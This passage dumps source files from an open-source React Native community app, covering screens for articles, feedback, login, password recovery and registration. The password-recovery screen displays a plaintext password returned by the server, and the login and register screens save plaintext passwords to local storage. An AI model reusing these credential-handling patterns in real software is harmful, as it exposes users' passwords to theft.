1,\n        padding: 20,\n        backgroundColor: 'white',\n    },\n    title: {\n        fontSize: 14,\n        color: color.black,\n    },\n    info: {\n        marginTop: 15,\n        color: 'gray',\n        fontSize: 12,\n    },\n    bottomLine: {\n        backgroundColor: '#f1f1f1',\n        height: 0.5,\n    },\n    img: {\n        marginTop: 20,\n        marginRight: 20,\n        width: 50,\n        height: 50,\n    },\n});\n\nexport default CommunityCell;\n"
  },
  {
    "path": "app/pages/community/community-section.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React , {Component} from 'react';\nimport {\n    View,\n    StyleSheet,\n    Image,\n    Text,\n} from 'react-native';\n\nimport * as color from '../../constants/color';\n\nclass CommunitySection extends Component {\n    constructor(props) {\n        super(props);\n        this.state = {};\n    }\n\n    render() {\n        let {image, title, markImage, markTitle} = this.props;\n        return (\n            <View style = {styles.view}>\n                <Image style = {styles.img} source = {image}/>\n                <Text style = {styles.title}>{title}</Text>\n                <Image style = {styles.img} source = {markImage}/>\n                <Text style = {styles.markTitle}>{markTitle}</Text>\n            </View>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n        paddingTop: 10,\n        paddingBottom: 10,\n        paddingLeft: 20,\n        paddingRight: 20,\n        flexDirection: 'row',\n        alignItems: 'center',\n        backgroundColor: 'white',\n    },\n    img: {\n        width: 20,\n        height: 20,\n    },\n    title: {\n        marginLeft: 15,\n        fontSize: 14,\n        color: color.black,\n        flexGrow: 2,\n    },\n    markTitle: {\n        marginLeft: 15,\n        fontSize: 14,\n        color: color.gary,\n    },\n\n});\n\nexport default CommunitySection;\n"
  },
  {
    "path": "app/pages/community/community.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport {\n    View,\n    Text,\n    StyleSheet,\n    Image,\n    TouchableHighlight,\n    FlatList,\n    RefreshControl,\n} from 'react-native';\n\nimport WHCBanner from '../../components/whc-banner';\nimport WHCGridView from '../../components/whc-grid-view';\nimport * as color from '../../constants/color';\nimport CommunitySection from './community-section';\nimport CommunityCell from './community-cell';\nimport Api from '../../api/api';\nimport Webv from '../webview/webv';\nimport {CollectType} from '../../constants/app-constant';\nimport Controller from '../../base/controller';\n\nclass Community extends Controller {\n\n    static navigationOptions = (options) => {\n        Controller.navigationOptions(options);\n        options.headerLeft = (<View/>);\n        return options;\n    }\n\n    constructor(props) {\n        super(props);\n        this.grid_menu = [\n            {title: '本周最热',image: require('../../images/community_hot_icon.png')},\n            {title: '收藏集', image: require('../../images/community_collect_icon.png')},\n            {title: '线下活动', image: require('../../images/community_active_icon.png')},\n            {title: '专栏', image: require('../../images/community_column_icon.png')},\n        ];\n    }\n\n    componentDidMount() {\n        this._startRequest();\n    }\n\n    _onRefresh = (e) => {\n        this._startRequest();\n    };\n\n    _startRequest = () => {\n        this.loading();\n        Api.get({\n            api: 'community'\n        }, (json) => {\n            this.datas = [];\n            if (json.code === 0) {\n                this.datas.push(json.data.banner);\n                this.datas.push(this.grid_menu);\n                this.datas.push({});\n                this.datas = this.datas.concat(json.data.hot_article);\n                setTimeout(() => {\n                    this.loading(false);\n                }, 1000);\n            }else {\n                this.toast(json.message);\n            }\n        });\n    };\n\n    _clickTopItem = (index, item = null) => {\n        switch(index){\n            case 0: { /// 本周最热\n                this.push('WeekHot', {title: '本周最热'});\n            }\n            break;\n            case 1:  { /// 我的收藏\n                this.push('Collect', {title: '收藏集', type: CollectType.collect_set});\n            }\n            break;\n            case 2: { /// 线下活动\n                this.push('OfflineActivity', {title: '线下活动'});\n            }\n            break;\n            case 3: {/// 专栏\n                this.push('SpecialColumn', {title: '专栏'});\n            }\n            break;\n            default: {\n                this.push('Webv', {title: item.title, linkUrl: item.linkUrl});\n            }\n        }\n    };\n\n    _cell = ({item, index}) => {\n        switch (index) {\n            case 0: {\n                return (\n                    <WHCBanner\n                        style = {styles.banner}\n                        urls = {(() => {\n                            let urls = [];\n                            item.forEach((value) => {\n                                urls.push(Api.main_url + value.image_url);\n                            });\n                            return urls;\n                        })()}\n                        onPress = {(e, index) => {\n                            this.push('Webv',{title: '百度一下', linkUrl: item[index].link_url});\n                        }}\n                    />\n                );\n            }\n            case 1: {\n                return (\n                    <WHCGridView\n                        style = {styles.grid}\n                        column = {4}\n                        data = {item}\n                        renderItem = {(item, index) => (\n                            <TouchableHighlight\n                                key = {index}\n                                onPress = {() => {this._clickTopItem(index)}}\n                                underlayColor = {'transparent'}>\n                                <View style = {styles.item}>\n                                    <Image style = {styles.itemImage} source = {item.image}/>\n                                    <Text style = {styles.itemText}>{item.title}</Text>\n                                </View>\n                            </TouchableHighlight>\n                        )}\n                    />\n                );\n            }\n            case 2: {\n                return (\n                    <View style = {{backgroundColor: '#F4F6F9', paddingTop: 20, paddingBottom: 0.5}}>\n                        <CommunitySection\n                            image = {require('../../images/community_hot_section_icon.png')}\n                            title = {'热门文章'}\n                            markImage = {require('../../images/community_set_icon.png')}\n                            markTitle = {'定制热门'}\n                        />\n                    </View>\n                );\n            }\n            default:{\n                return (\n                    <CommunityCell item = {item} click = {() => {\n                        this._clickTopItem(4,item)\n                    }}/>\n                );\n            }\n        }\n    };\n\n    render() {\n        const {loading} = this.state;\n        return (\n            <View style = {{flex: 1}}>\n                <FlatList\n                    style = {styles.list}\n                    data = {this.datas}\n                    renderItem = {this._cell}\n                    refreshControl = {(\n                        <RefreshControl\n                            title = 'Loading'\n                            onRefresh = {this._onRefresh}\n                            refreshing = {loading}\n                            colors = {['#ffaa66cc', '#ff00ddff', '#ffffbb33', '#ffff4444']}\n                        />\n                    )}\n                />\n                {super.render()}\n            </View>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    banner: {\n        height: 150,\n    },\n    list: {\n        flex: 1,\n    },\n    grid: {\n        flex: 1,\n        padding: 20,\n        backgroundColor: 'white',\n    },\n    item: {\n        alignItems: 'center',\n        justifyContent: 'center',\n        flexGrow: 1,\n        width: 80,\n    },\n    itemText: {\n        color: color.black,\n        fontSize: 14,\n        textAlign: 'center',\n        marginTop: 15,\n    },\n    itemImage: {\n        width: 30,\n        height: 30,\n    },\n});\n\nexport default Community;\n"
  },
  {
    "path": "app/pages/community/week/week-hot.js",
    "content": "\n/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\nimport BaseList from '../../../base/base-list';\nimport Api from '../../../api/api';\n\nexport default class WeekHot extends BaseList {\n    constructor(props) {\n        super(props);\n    }\n\n    componentDidMount() {\n        this._startRequest();\n    }\n\n    _startRequest = () => {\n        this.loading();\n        Api.get({api: 'week_hot/'}, (json) => {\n            if (json.code !== 0) {\n                this.toast(json.message);\n            }else {\n                this.reloadData(json.data.list);\n            }\n        });\n    };\n\n    render() {\n        return super.render();\n    }\n}\n"
  },
  {
    "path": "app/pages/home/home-cell.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React , {Component} from 'react';\nimport {\n    View,\n    Image,\n    Text,\n    StyleSheet,\n    TouchableHighlight,\n} from 'react-native';\n\nimport * as color from '../../constants/color';\nimport WHCImageButton from '../../components/whc-image-button';\nimport Api from '../../api/api';\n\nclass HomeCell extends Component {\n    constructor(props) {\n        super(props);\n        this.state = {};\n    }\n\n    _clickCollection = (e) => {\n        Alert.alert('点击收藏');\n    };\n\n    _clickMsg = (e) => {\n        Alert.alert('点击阅读消息');\n    };\n\n    render() {\n        const item = this.props.itemInfo;\n        const click = this.props.click;\n        return (\n            <TouchableHighlight onPress = {click}>\n                <View style = {styles.item}>\n                    <View style = {styles.topsegv}/>\n                    <View style = {styles.topv}>\n                        <Image style = {styles.userImg}\n                            source = {{uri: Api.main_url + item.userIcon}}\n                        />\n                        <Text style = {styles.author}>{item.author}</Text>\n                        <Text style ={styles.date}>发布日期: {item.date}</Text>\n                    </View>\n                    <View style = {styles.bottomv}>\n                        <View style = {styles.bottomleft}>\n                            <Text style = {styles.title} numberOfLines = {2}>{item.title}</Text>\n                            <Text style = {styles.content} numberOfLines = {2}>{item.detail}</Text>\n                        </View>\n                        <Image style = {styles.logoImg}\n                            source = {{uri: Api.main_url + item.logoUrl}}\n                        />\n                    </View>\n                    <View style = {styles.bottombar}>\n                        <WHCImageButton\n                            style = {styles.bottomButton}\n                            imageSource = {require('../../images/collection_icon.png')}\n                            text = {item.collectionCount}\n                            imageStyle = {styles.collectionImg}\n                            textStyle = {styles.bottomButtonText}\n                            underlayColor = 'transparent'\n                            onPress = {this._clickCollection}\n                        />\n\n                        <WHCImageButton\n                            style = {styles.bottomButton}\n                            imageSource = {require('../../images/msg_icon.png')}\n                            text = {item.msgCount}\n                            imageStyle = {styles.msgImg}\n                            textStyle = {styles.bottomButtonText}\n                            underlayColor = 'transparent'\n                            onPress = {this._clickMsg}\n                        />\n                    </View>\n                </View>\n            </TouchableHighlight>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    topsegv: {\n        backgroundColor: '#F4F6F9',\n        height: 15,\n    },\n    topv: {\n        flexDirection: 'row',\n        marginTop: 25,\n        alignItems: 'center',\n    },\n    bottomv: {\n        flexDirection: 'row',\n        paddingTop: 20,\n        paddingRight: 20,\n        height: 110,\n    },\n    bottomleft: {\n        flexDirection: 'column',\n        paddingLeft: 20,\n        paddingRight: 10,\n        flexShrink: 1,\n        height: 90,\n    },\n    author: {\n        marginLeft: 8,\n    },\n    logoImg: {\n        height: 90,\n        width: 90,\n        borderRadius: 3,\n        flexShrink: 0,\n\n    },\n    date: {\n        textAlign: 'right',\n        flexGrow: 1,\n        marginRight: 20,\n        color: '#8D9DA0',\n    },\n    item: {\n        paddingTop: 0,\n        paddingBottom: 10,\n        backgroundColor: '#fff',\n    },\n    title: {\n        fontSize: 17,\n        color: color.black,\n        fontWeight: 'bold',\n    },\n    content: {\n        marginTop: 8,\n        fontSize: 14,\n        color: '#647079',\n        flex: 1,\n\n    },\n    userImg: {\n        height: 30,\n        width: 30,\n        marginLeft: 20,\n        borderRadius: 15,\n    },\n    bottomButton: {\n        flexDirection: 'row',\n        alignItems: 'center',\n    },\n    bottomButtonText: {\n        color: '#94A2B0',\n        fontSize: 12,\n        marginLeft: 5,\n    },\n    bottombar: {\n        flexDirection: 'row',\n        marginTop: 10,\n        paddingLeft: 20,\n        paddingRight: 20,\n        alignItems: 'center',\n    },\n    msgImg: {\n        width: 13,\n        height: 13,\n        marginLeft: 20,\n    },\n    collectionImg: {\n        width: 16,\n        height: 16,\n    },\n});\n\nexport default HomeCell;\n"
  },
  {
    "path": "app/pages/home/home.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React , {Component} from 'react';\nimport {\n  View,\n  StyleSheet,\n  FlatList,\n  RefreshControl,\n  Text,\n }from 'react-native';\n\nimport HomeCell from './home-cell';\nimport Api from '../../api/api';\nimport Controller from '../../base/controller';\n\nexport default class Home extends Controller {\n\n    constructor(props) {\n        super(props);\n        this.data_list = [];\n        this.page = 1;\n    }\n\n    componentDidMount() {\n        this._request();\n    }\n\n    _request = () => {\n        this.loading();\n        Api.get({\n            api: 'home/',\n            param: {\n                page: this.page,\n            }\n        }, (json) => {\n            if (this.page === 1) {\n                this.data_list = [];\n            }\n            if (json.code === 0) {\n                this.data_list = this.data_list.concat(json.data.list);\n            }else {\n                this.toast(json.message);\n                this.data_list = [];\n            }\n            setTimeout(() => {\n                this.loading(false);\n            }, 2000);\n        })\n    };\n\n    _onDownPullRefresh = (e) => {\n        this.page = 1;\n        this._request();\n    };\n\n    _onUpPullRefresh = (e) => {\n        const {distanceFromEnd = 1} = e;\n        if (distanceFromEnd < 0) {\n            this.page += 1;\n            this._request();\n        }\n    };\n\n    _loadMoreItem = () => {\n        return (\n            <View style = {styles.footerLoad}>\n                <Text>加载更多...</Text>\n            </View>\n        );\n    };\n\n    _clickItem = (item) => {\n        this.push('Webv',{linkUrl: item.linkUrl, title: item.title});\n    };\n\n    render() {\n        const {loading} = this.state;\n        return (\n            <View style = {{flex: 1}}>\n                <FlatList\n                    ListFooterComponent = {this._loadMoreItem}\n                    refreshControl = {(\n                        <RefreshControl\n                            title = 'Loading'\n                            onRefresh = {this._onDownPullRefresh}\n                            refreshing = {loading}\n                            colors = {['#ffaa66cc', '#ff00ddff', '#ffffbb33', '#ffff4444']}\n                        />\n                    )}\n                    onEndReached = {this._onUpPullRefresh}\n                    onEndReachedThreshold = {0}\n                    style = {styles.list}\n                    data = {this.data_list}\n                    renderItem = {\n                        ({item, index}) => (\n                            <HomeCell key = {index} itemInfo = {item}\n                                click = {() => {this._clickItem(item);}}\n                            />\n                        )\n                    }>\n                </FlatList>\n                {super.render()}\n            </View>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    list: {\n        marginTop: 0,\n    },\n    footerLoad: {\n        height: 40,\n        justifyContent: 'center',\n        alignItems: 'center',\n    },\n});\n\n"
  },
  {
    "path": "app/pages/launch/launch.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport {\n    StyleSheet,\n    View,\n    Animated, Easing,\n} from 'react-native';\n\nimport * as color from '../../constants/color';\nimport Controller from '../../base/controller';\n\nexport default class Launch extends Controller {\n\n    static navigationOptions = {\n        header: null,\n    };\n\n    constructor(props) {\n        super(props);\n        this.state = {\n            scale: new Animated.Value(1),\n            opacity: new Animated.Value(1),\n        };\n    }\n\n    componentDidMount() {\n        const duration = 1500;\n        Animated.parallel([\n            Animated.timing(this.state.scale, {\n                toValue: 2,\n                duration: duration,\n                easing: Easing.out(Easing.ease),\n            }),\n            Animated.timing(this.state.opacity, {\n                toValue: 0,\n                duration: duration,\n                easing: Easing.out(Easing.ease),\n            })\n        ]).start(() => {\n            this.setRootController('Tabbar');\n        });\n\n    }\n\n\n    render() {\n        const {scale, opacity} = this.state;\n        return (\n            <View style = {styles.view}>\n                <Animated.Image style = {\n                    {\n                        flex: 1,\n                        backgroundColor: color.theme,\n                        opacity: opacity,\n                        transform: [\n                            {\n                                scale: scale.interpolate({\n                                    inputRange: [1, 2],\n                                    outputRange: [1, 2.5],\n                                })\n                            }\n                        ],\n                    }\n                }\n                                source = {require('../../images/launch.png')}\n                                resizeMode = 'contain'\n                />\n            </View>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n        alignItems: 'center',\n        justifyContent: 'center',\n        backgroundColor: color.theme,\n    },\n});\n\n"
  },
  {
    "path": "app/pages/my/feedback/feedback.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport {\n    View,\n    StyleSheet,\n    TouchableHighlight,\n    TextInput,\n    Text,\n} from 'react-native';\n\nimport * as color from '../../../constants/color';\nimport api from '../../../api/api';\nimport Controller from '../../../base/controller';\n\nclass Feedback extends Controller {\n\n    constructor(props) {\n        super(props);\n        this.state = {\n            loading: false,\n            message: null\n        };\n        this._feedback = '';\n    }\n\n    _clickCommit = () => {\n        if (this._feedback.length < 10) {\n            this.toast('请最少输入10个字符');\n            return;\n        }\n        this.loading();\n        api.post({\n            api: 'feedback/',\n            param: {content: this._feedback},\n        }, (json) => {\n            this.toast(json.message);\n        });\n\n    };\n\n    render() {\n        return (\n            <View style = {styles.view}>\n                <TextInput style = {styles.input}\n                    placeholder = {'请输入您的宝贵建议'}\n                    underlineColorAndroid ='transparent'\n                    onChangeText = {(text) => {this._feedback = text;}}\n                    multiline = {true}/>\n                    <TouchableHighlight style = {styles.commit}\n                        onPress = {this._clickCommit}\n                        underlayColor = {'transparent'}>\n                        <Text style = {styles.text}>提 交</Text>\n                    </TouchableHighlight>\n                {super.render()}\n            </View>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n        padding: 20,\n    },\n    input: {\n        height: 100,\n        backgroundColor: 'white',\n    },\n    text: {\n        color: 'white',\n        textAlign: 'center',\n    },\n    commit: {\n        marginTop: 50,\n        backgroundColor: color.theme,\n        height: 44,\n        borderRadius: 5,\n        alignItems: 'center',\n        justifyContent: 'center',\n    },\n});\n\nexport default Feedback;\n"
  },
  {
    "path": "app/pages/my/like/my-like.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\nimport BaseList from '../../../base/base-list';\nimport Api from '../../../api/api';\n\nexport default class MyLike extends BaseList {\n    constructor(props) {\n        super(props);\n    }\n\n    componentDidMount() {\n        this._startRequest();\n    }\n\n    _startRequest = () => {\n        this.loading(true);\n        Api.get({api: 'my_like/'}, (json) => {\n            if (json.code != 0) {\n                this.toast(json.message);\n            }else {\n                this.reloadData(json.data.list);\n            }\n        });\n    };\n\n    render() {\n        return super.render();\n    }\n}\n"
  },
  {
    "path": "app/pages/my/login/forget.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\nimport React from 'react';\nimport {\n    View,\n    StyleSheet,\n    ScrollView,\n} from 'react-native';\n\nimport WHCButton from '../../../components/whc-button';\nimport * as color from '../../../constants/color';\nimport ModityInputItem from '../set/modity/modity-input-item';\nimport tool from '../../../components/tool';\nimport api from '../../../api/api';\nimport Controller from '../../../base/controller';\n\nexport default class Forget extends Controller {\n\n    constructor(props) {\n        super(props);\n        this._username = '';\n        this._email = '';\n    }\n\n    _commit = () => {\n        if (this._username.length === 0) {\n            this.toast('用户名不能为空');\n            return;\n        }\n        if (this._email.length === 0) {\n            this.toast('邮件地址不能为空');\n            return;\n        }\n        if (!tool.isemail(this._email)) {\n            this.toast('请输入正确的邮件地址');\n            return;\n        }\n        this.loading();\n        api.post({\n            api: 'forget_password/',\n            param: {\n                username: this._username,\n                email: this._email\n            }\n        }, (json) => {\n            if (json.code === 0) {\n                this.toast('您的密码：' + json.password);\n                setTimeout(() => {\n                    this.pop();\n                }, 2000);\n            }else {\n                this.toast(json.message);\n            }\n        });\n    };\n\n\n    render() {\n        return (\n            <View style = {styles.view}>\n                <ScrollView style = {{flex: 1}}>\n                    <ModityInputItem style = {styles.input} key = {0} hint = {'请输入用户名'} onChangeText = {(text) => {this._username = text;}}/>\n                    <ModityInputItem style = {styles.input} key = {1} hint = {'请输入邮件地址'} onChangeText = {(text) => {this._email = text;}}/>\n                    <WHCButton style = {styles.commitBtn}\n                               text = {'提交'}\n                               key = {3}\n                               textColor = {'white'}\n                               onClick = {this._commit}/>\n                </ScrollView>\n                {super.render()}\n            </View>\n        );\n    }\n}\n\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n    },\n    input: {\n        height: 44,\n    },\n    commitBtn: {\n        marginTop: 50,\n        marginLeft: 20,\n        marginRight: 20,\n        height: 44,\n        borderRadius: 3,\n        backgroundColor: color.theme,\n    },\n});\n"
  },
  {
    "path": "app/pages/my/login/login.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\nimport React from 'react';\nimport {\n    View,\n    StyleSheet,\n    ScrollView,\n} from 'react-native';\n\nimport WHCButton from '../../../components/whc-button';\nimport * as color from '../../../constants/color';\nimport ModityInputItem from '../set/modity/modity-input-item';\nimport WHCText from '../../../components/whc-text';\nimport Storage from '../../../components/storage';\nimport Api from '../../../api/api';\nimport account from '../../../api/account';\nimport Controller from '../../../base/controller';\nimport { connect } from 'react-redux';\nimport {did_login} from \"../../../actions/login-action\";\n\nclass Login extends Controller {\n\n    static navigationOptions = (options) => {\n        options.headerRight = (<WHCButton style = {styles.rightItem}\n                                          text = {'注册'}\n                                          textColor = {color.theme}\n                                          onClick = {() => {\n                                              const {gotoRegisterBlock = null} = options.navigation;\n                                              gotoRegisterBlock && gotoRegisterBlock();\n                                          }}/>);\n        Controller.navigationOptions(options);\n        return options;\n    }\n\n    constructor(props) {\n        super(props);\n        this.state = {\n            login: {},\n        };\n        this.props.navigation.gotoRegisterBlock = this._gotoRegister;\n    }\n\n    /**\n     * 注册状态回调\n     */\n    _registerStateBlock = (isok) => {\n        if (isok) {\n            Storage.value('login', (login) => {\n                this._setlogin(login);\n            });\n        }\n    };\n\n    _goLogin = () => {\n        const user_name = this.user_name || '';\n        const psw       = this.psw || '';\n        if (user_name.length === 0) {\n            this.toast('请输入用户名');\n            return;\n        }\n        if (psw.length < 6 || psw.length > 20) {\n            this.toast('密码为6-20位');\n            return;\n        }\n        this.loading();\n        Api.post({\n            api: 'login/',\n            param: {\n                username: user_name,\n                password: psw\n            }\n        }, (json) => {\n            if (json.code !== 0) {\n                this.toast(json.message);\n            }else {\n                account.user_info = json;\n                this.loading(false);\n                Storage.set('login', {\n                    username: user_name,\n                    password: psw\n                }, () => {\n                    this.props.dispatch(did_login(json));\n                    this.pop();\n                });\n            }\n        });\n    };\n\n    _gotoForgetPsw = () => {\n        this.push('Forget', {title: '忘记密码'});\n    };\n\n    _gotoRegister = () => {\n        this.push('Register', {title: '注册', block: this._registerStateBlock});\n    };\n\n    _setlogin = (login) => {\n        this.user_name = login.username;\n        this.psw = login.password;\n        this.setState((state) => {\n            state.login = login;\n            return state;\n        });\n    };\n\n    render() {\n        return (\n            <View style = {styles.view}>\n                <ScrollView style = {{flex: 1 , backgroundColor: 'white'}}>\n                    <View key = {0} style = {styles.topView}>\n                        <WHCText style = {styles.logoText}\n                                 text = {'React'}\n                                 textColor = {'white'}\n                                 fontSize = {20}/>\n                    </View>\n                    <View key = {1} style = {styles.bottomView}>\n                        <ModityInputItem style = {styles.input}\n                                         hint = {'请输入用户名'}\n                                         key = {5}\n                                         value = {this.state.login.username || ''}\n                                         onChangeText = {(text) => {this.user_name = text}}/>\n                        <ModityInputItem style = {styles.input}\n                                         hint = {'请输入密码'}\n                                         key = {6}\n                                         value = {this.state.login.password || ''}\n                                         ispasswrod = {true}\n                                         onChangeText = {(text) => {this.psw = text}}/>\n                    </View>\n                    <WHCButton style = {styles.loginBtn}\n                               text = {'登录'}\n                               key = {2}\n                               textColor = {'white'}\n                               onClick = {this._goLogin}/>\n                    <View style = {styles.forgetView}\n                          key = {3}>\n                        <WHCButton style = {styles.forgetBtn}\n                                   text = {'忘记密码'}\n                                   textColor = {color.theme}\n                                   onClick = {this._gotoForgetPsw}/>\n                    </View>\n                </ScrollView>\n                {super.render()}\n            </View>\n        );\n    }\n}\n\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n    },\n    rightItem: {\n        width: 60,\n        height: 30,\n    },\n    topView: {\n        height: 180,\n        justifyContent: 'center',\n        alignItems: 'center',\n    },\n    logoText: {\n        height: 70,\n        width: 70,\n        backgroundColor: color.theme,\n        alignItems: 'center',\n        justifyContent: 'center',\n    },\n    bottomView: {\n        marginTop: 0,\n    },\n    input: {\n        height: 44,\n    },\n    loginBtn: {\n        marginTop: 50,\n        marginLeft: 20,\n        marginRight: 20,\n        height: 44,\n        borderRadius: 3,\n        backgroundColor: color.theme,\n    },\n    forgetView: {\n        alignItems: 'flex-end',\n        padding: 20,\n    },\n    forgetBtn: {\n        height: 30,\n        width: 60,\n    },\n});\n\n\nfunction select(store){\n    return {};\n}\n\nexport default connect(select)(Login);"
  },
  {
    "path": "app/pages/my/login/register.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\nimport React from 'react';\nimport {\n    View,\n    StyleSheet,\n    ScrollView,\n} from 'react-native';\n\nimport WHCButton from '../../../components/whc-button';\nimport * as color from '../../../constants/color';\nimport ModityInputItem from '../set/modity/modity-input-item';\nimport Api from '../../../api/api';\nimport Tool from '../../../components/tool';\nimport Storage from '../../../components/storage';\nimport Controller from '../../../base/controller';\n\nexport default class Register extends Controller {\n\n    constructor(props) {\n        super(props);\n    }\n\n    _goRegister = () => {\n        const user_name = this.user_name || '';\n        const tel       = this.tel || '';\n        const email     = this.email || '';\n        const psw       = this.psw || '';\n        const repsw     = this.repsw || '';\n        if (user_name.length === 0) {\n            this.toast('请输入用户名');\n            return;\n        }\n        if (tel.length === 0) {\n            this.toast('请输入手机号码');\n            return;\n        }\n        if (!Tool.istel(tel)) {\n            this.toast('请输入正确手机号格式');\n            return;\n        }\n        if (email.length === 0) {\n            this.toast('请输入电子邮箱');\n            return;\n        }\n        if (!Tool.isemail(email)) {\n            this.toast('请输入正确的电子邮箱格式');\n            return;\n        }\n        if (psw.length < 6 || psw.length > 20) {\n            this.toast('密码为6-20位');\n            return;\n        }\n        if (psw !== repsw) {\n            this.toast('两次密码输入不一致');\n            return;\n        }\n        this.loading();\n        Api.post({\n            api: 'register/',\n            param: {\n                username: user_name,\n                password: psw,\n                mobile: tel,\n                email: email,\n            }\n        }, (json) => {\n            if (json.code !== 0) {\n                this.toast(json.message);\n            }else {\n                this.loading(false);\n                Storage.set('login', {\n                    username: user_name,\n                    password: psw\n                }, () => {\n                    const {block} = this.props.navigation.state.params;\n                    block && block(true);\n                    this.pop();\n                });\n            }\n        });\n    };\n\n\n    render() {\n        return 